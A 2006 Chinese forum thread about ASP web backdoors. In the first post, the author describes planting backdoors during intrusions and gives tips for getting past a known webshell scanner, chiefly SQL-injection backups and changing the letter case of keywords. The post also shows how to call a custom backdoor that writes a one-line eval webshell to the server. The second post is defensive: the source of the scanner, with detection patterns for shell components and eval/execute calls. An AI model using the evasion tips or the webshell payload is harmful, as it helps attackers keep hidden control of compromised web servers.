|
論壇說明 | 標記討論區已讀 |
歡迎您來到『史萊姆論壇』 ^___^ 您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的! 請點擊這裡:『註冊成為我們的一份子!』 |
|
主題工具 | 顯示模式 |
2006-07-15, 05:32 PM | #1 |
榮譽會員
|
軟體 - 對web後門的一些看法
對web後門的一些看法
自從lake2出了後門掃馬程式以後,後門的存活率可就大大的減少了,唉,沒辦法,誰叫人家這麼厲害呢,一個程式搞定那麼多的小馬,可憐菜鳥們了,好不容易留下的後門一下子全被暴露無疑了。這個掃馬程式也是很厲害,不過在我的很多測試中,發現了不少lake2掃馬程式發現不了的後門,也許lake2得將這個後門改改了,改得更先進一點為好。下面就我的個人經驗來談談如何躲過lake2的掃馬程式。 首先,第一種不被發現的後門是能過SQL注射工具利用db_owner權限備份出來的後門。那還是在一次入侵中發現的,我備份小馬後,又上傳了掃馬程式,想將其它黑客的後門刪掉,結果無意中發現這個後門居然沒有被掃出來,真是幸運啊,後來我就收藏了這個備份的小馬,以後的入侵中也被我當成了一個後門程式來用,呵呵。 其次,改下關鍵字的大小寫就可以躲過了,比如我在一次試驗中,將關鍵字"createObject"全部寫成了小寫"createobject",當然也可以大小交替,結果又意外地發現掃馬程式沒有掃出來,所以無論是小馬,還是大馬,我都採用小寫的形式,當然,這樣寫是不會影響程式的功能的。 第三,通過第二步,做一個自己的小馬,這個我已經做好了,代碼如下(注意其中的creatobject作了大小寫處理): 代碼雖然大了些,比不上那些精簡的小馬,但卻也是一種簡單的後門吧,使用方法如下:比如我們將這些代碼放到newslist.asp裡,那麼只要我們輸入newslist.asp?act=creatshell&shellcode=hello&shellpath=locus.asp,那麼我們就可以在與newslist.asp同目錄下產生一個locus.asp的文件,內容為"hello",於是我們只要改變shellcode的內容,就可以得到一個shell,比如輸入shellcode=<%25execute request("locus")%25>,我們就得到一個一句話後門了,而且這個簡單的後門能躲過lake2的掃馬程式。 也許還有其它方法,但我還沒發現,等發現了再補充啦,呵呵。 |
__________________ |
|
送花文章: 3,
|
2006-07-15, 06:23 PM | #2 (permalink) |
管理版主
|
查WEB asp後門的小助手代碼(LAKE2的)
就是這個吧...有趣^^
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> <% '設置密碼 PASSWORD = "donker" dim Report if request.QueryString("act")="login" then if request.Form("pwd") = PASSWORD then session("pig")=1 end if %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>ASPSecurity for Hacking</title> </head> <body> <%If Session("pig") <> 1 then%> <form name="form1" method="post" action="?act=login"> <div align="center">Password: <input name="pwd" type="password" size="15"> <input type="submit" name="Submit" value="提交"> </div> </form> <% else if request.QueryString("act")<>"scan" then %> <form action="?act=scan" method="post"> <b>填入你要檢查的路徑:</b> <input name="path" type="text" style="border:1px solid #999" value="." size="30" /> <br> * 網站根目錄的相對路徑,填「\」即檢查整個網站;「.」為程序所在目錄 <br> <br> <input type="submit" value=" 開始掃瞄 " style="background:#fff;border:1px solid #999;padding:2px 2px 0px 2px;margin:4px;border-width:1px 3px 1px 3px" /> </form> <% else server.ScriptTimeout = 600 DimFileExt = "asp,cer,asa,cdx" Sun = 0 SumFiles = 0 SumFolders = 1 if request.Form("path")="" then response.Write("No Hack") response.End() end if timer1 = timer if request.Form("path")="\" then TmpPath = Server.MapPath("\") elseif request.Form("path")="." then TmpPath = Server.MapPath(".") else TmpPath = Server.MapPath("\")&"\"&request.Form("path") end if Call ShowAllFile(TmpPath) %> <table width="100%" border="0" cellpadding="0" cellspacing="0" class="CContent"> <tr> <th>ASPSecurity For Hacking </tr> <tr> <td class="CPanel" style="padding:5px;line-height:170%;clear:both;font-size:12px"> <div id="updateInfo" style="background:ffffe1;border:1px solid #89441f;padding:4px;display:none"></div> 掃瞄完畢!一共檢查文件夾<font color="#FF0000"><%=SumFolders%></font>個,文件<font color="#FF0000"><%=SumFiles%></font>個,發現可疑點<font color="#FF0000"><%=Sun%></font>個 <table width="100%" border="0" cellpadding="0" cellspacing="0"> <tr> <td valign="top"> <table width="100%" border="1" cellpadding="0" cellspacing="0" style="padding:5px;line-height:170%;clear:both;font-size:12px"> <tr> <td width="20%">文件相對路徑</td> <td width="20%">特徵碼</td> <td width="40%">描述</td> <td width="20%">創建/修改時間</td> </tr> <p> <%=Report%> <br/></p> </table></td> </tr> </table> </td></tr></table> <% timer2 = timer thetime=cstr(int(((timer2-timer1)*10000 )+0.5)/10) response.write "<br><font size=""2"">本頁執行共用了"&thetime&"毫秒</font>" end if end if %> <hr> <div align="center">本程序取自<a href="http://donker.jldns.net" target="_blank">ASP站長安全助手</a>的ASP木馬查找功能<br> powered by <a href="http://www.donker.cn.to" target=_blank>DonkEr</a> </div> </body> </html> <% '遍歷處理path及其子目錄所有文件 Sub ShowAllFile(Path) Set FSO = CreateObject("Scripting.FileSystemObject") if not fso.FolderExists(path) then exit sub Set f = FSO.GetFolder(Path) Set fc2 = f.files For Each myfile in fc2 If CheckExt(FSO.GetExtensionName(path&"\"&myfile.name)) Then Call ScanFile(Path&Temp&"\"&myfile.name, "") SumFiles = SumFiles + 1 End If Next Set fc = f.SubFolders For Each f1 in fc ShowAllFile path&"\"&f1.name SumFolders = SumFolders + 1 Next Set FSO = Nothing End Sub '檢測文件 Sub ScanFile(FilePath, InFile) If InFile <> "" Then Infiles = "該文件被<a href=""http://"&Request.Servervariables("server_name")&"\"&InFile&""" target=_blank>"& InFile & "</a>文件包含執行" End If Set FSOs = CreateObject("Scripting.FileSystemObject") on error resume next set ofile = fsos.OpenTextFile(FilePath) filetxt = Lcase(ofile.readall()) If err Then Exit Sub end if if len(filetxt)>0 then '特徵碼檢查 temp = "<a href=""http://"&Request.Servervariables("server_name")&"\"&replace(FilePath,server.MapPath("\")&"\","",1,1,1)&""" target=_blank>"&replace(FilePath,server.MapPath("\")&"\","",1,1,1)&"</a>" 'Check "WScr"&DoMyBest&"ipt.Shell" If instr( filetxt, Lcase("WScr"&DoMyBest&"ipt.Shell") ) or Instr( filetxt, Lcase("clsid:72C24DD5-D70A"&DoMyBest&"-438B-8A42-98424B88AFB8") ) then Report = Report&"<tr><td>"&temp&"</td><td>WScr"&DoMyBest&"ipt.Shell 或者 clsid:72C24DD5-D70A"&DoMyBest&"-438B-8A42-98424B88AFB8</td><td>危險組件,一般被ASP木馬利用。"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>" Sun = Sun + 1 End if 'Check "She"&DoMyBest&"ll.Application" If instr( filetxt, Lcase("She"&DoMyBest&"ll.Application") ) or Instr( filetxt, Lcase("clsid:13709620-C27"&DoMyBest&"9-11CE-A49E-444553540000") ) then Report = Report&"<tr><td>"&temp&"</td><td>She"&DoMyBest&"ll.Application 或者 clsid:13709620-C27"&DoMyBest&"9-11CE-A49E-444553540000</td><td>危險組件,一般被ASP木馬利用。"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>" Sun = Sun + 1 End If 'Check .Encode Set regEx = New RegExp regEx.IgnoreCase = True regEx.Global = True regEx.Pattern = "@\s*LANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript).encode\b" If regEx.Test(filetxt) Then Report = Report&"<tr><td>"&temp&"</td><td>(vbscript|jscript|javascript).Encode</td><td>似乎腳本被加密了,一般ASP文件是不會加密的。"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>" Sun = Sun + 1 End If 'Check my ASP backdoor regEx.Pattern = "\bEv"&"al\b" If regEx.Test(filetxt) Then Report = Report&"<tr><td>"&temp&"</td><td>Ev"&"al</td><td>e"&"val()函數可以執行任意ASP代碼,被一些後門利用。其形式一般是:ev"&"al(X)<br>但是javascript代碼中也可以使用,有可能是誤報。"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>" Sun = Sun + 1 End If 'Check exe&cute backdoor regEx.Pattern = "[^.]\bExe"&"cute\b" If regEx.Test(filetxt) Then Report = Report&"<tr><td>"&temp&"</td><td>Exec"&"ute</td><td>e"&"xecute()函數可以執行任意ASP代碼,被一些後門利用。其形式一般是:ex"&"ecute(X)。<br>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>" Sun = Sun + 1 End If Set regEx = Nothing 'Check include file Set regEx = New RegExp regEx.IgnoreCase = True regEx.Global = True regEx.Pattern = "<!--\s*#include\s*file\s*=\s*"".*""" Set Matches = regEx.Execute(filetxt) For Each Match in Matches tFile = Replace(Mid(Match.Value, Instr(Match.Value, """") + 1, Len(Match.Value) - Instr(Match.Value, """") - 1),"/","\") If Not CheckExt(FSOs.GetExtensionName(tFile)) Then Call ScanFile( Mid(FilePath,1,InStrRev(FilePath,"\"))&tFile, replace(FilePath,server.MapPath("\")&"\","",1,1,1) ) SumFiles = SumFiles + 1 End If Next Set Matches = Nothing Set regEx = Nothing 'Check include virtual Set regEx = New RegExp regEx.IgnoreCase = True regEx.Global = True regEx.Pattern = "<!--\s*#include\s*virtual\s*=\s*"".*""" Set Matches = regEx.Execute(filetxt) For Each Match in Matches tFile = Replace(Mid(Match.Value, Instr(Match.Value, """") + 1, Len(Match.Value) - Instr(Match.Value, """") - 1),"/","\") If Not CheckExt(FSOs.GetExtensionName(tFile)) Then Call ScanFile( Server.MapPath("\")&"\"&tFile, replace(FilePath,server.MapPath("\")&"\","",1,1,1) ) SumFiles = SumFiles + 1 End If Next Set Matches = Nothing Set regEx = Nothing 'Check Server&.Execute|Transfer Set regEx = New RegExp regEx.IgnoreCase = True regEx.Global = True regEx.Pattern = "Server.(Exec"&"ute|Transfer)([ \t]*|\()"".*""" Set Matches = regEx.Execute(filetxt) For Each Match in Matches tFile = Replace(Mid(Match.Value, Instr(Match.Value, """") + 1, Len(Match.Value) - Instr(Match.Value, """") - 1),"/","\") If Not CheckExt(FSOs.GetExtensionName(tFile)) Then Call ScanFile( Mid(FilePath,1,InStrRev(FilePath,"\"))&tFile, replace(FilePath,server.MapPath("\")&"\","",1,1,1) ) SumFiles = SumFiles + 1 End If Next Set Matches = Nothing Set regEx = Nothing 'Check Server&.Execute|Transfer Set regEx = New RegExp regEx.IgnoreCase = True regEx.Global = True regEx.Pattern = "Server.(Exec"&"ute|Transfer)([ \t]*|\()[^""]\)" If regEx.Test(filetxt) Then Report = Report&"<tr><td>"&temp&"</td><td>Server.Exec"&"ute</td><td>不能跟蹤檢查Server.e"&"xecute()函數執行的文件。請管理員自行檢查。<br>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>" Sun = Sun + 1 End If Set Matches = Nothing Set regEx = Nothing 'Check Crea"&"teObject Set regEx = New RegExp regEx.IgnoreCase = True regEx.Global = True regEx.Pattern = "CreateO"&"bject[ |\t]*\(.*\)" Set Matches = regEx.Execute(filetxt) For Each Match in Matches If Instr(Match.Value, "&") or Instr(Match.Value, "+") or Instr(Match.Value, """") = 0 or Instr(Match.Value, "(") <> InStrRev(Match.Value, "(") Then Report = Report&"<tr><td>"&temp&"</td><td>Creat"&"eObject</td><td>Crea"&"teObject函數使用了變形技術,仔細複查。"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>" Sun = Sun + 1 exit sub End If Next Set Matches = Nothing Set regEx = Nothing end if set ofile = nothing set fsos = nothing End Sub '檢查文件後綴,如果與預定的匹配即返回TRUE Function CheckExt(FileExt) If DimFileExt = "*" Then CheckExt = True Ext = Split(DimFileExt,",") For i = 0 To Ubound(Ext) If Lcase(FileExt) = Ext(i) Then CheckExt = True Exit Function End If Next End Function Function GetDateModify(filepath) Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(filepath) s = f.DateLastModified set f = nothing set fso = nothing GetDateModify = s End Function Function GetDateCreate(filepath) Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(filepath) s = f.DateCreated set f = nothing set fso = nothing GetDateCreate = s End Function %> ----------------------------------------------- 保存為ASP格式 上傳到自己空間訪問就好了 默認密碼在裡邊 自己改 現在是DONKER |
__________________ 愛的時候,可以不公平;不愛了、分開了,總該公平了吧 重情重義重粉味 愛台愛鄉愛查某 |
|
送花文章: 3254,
|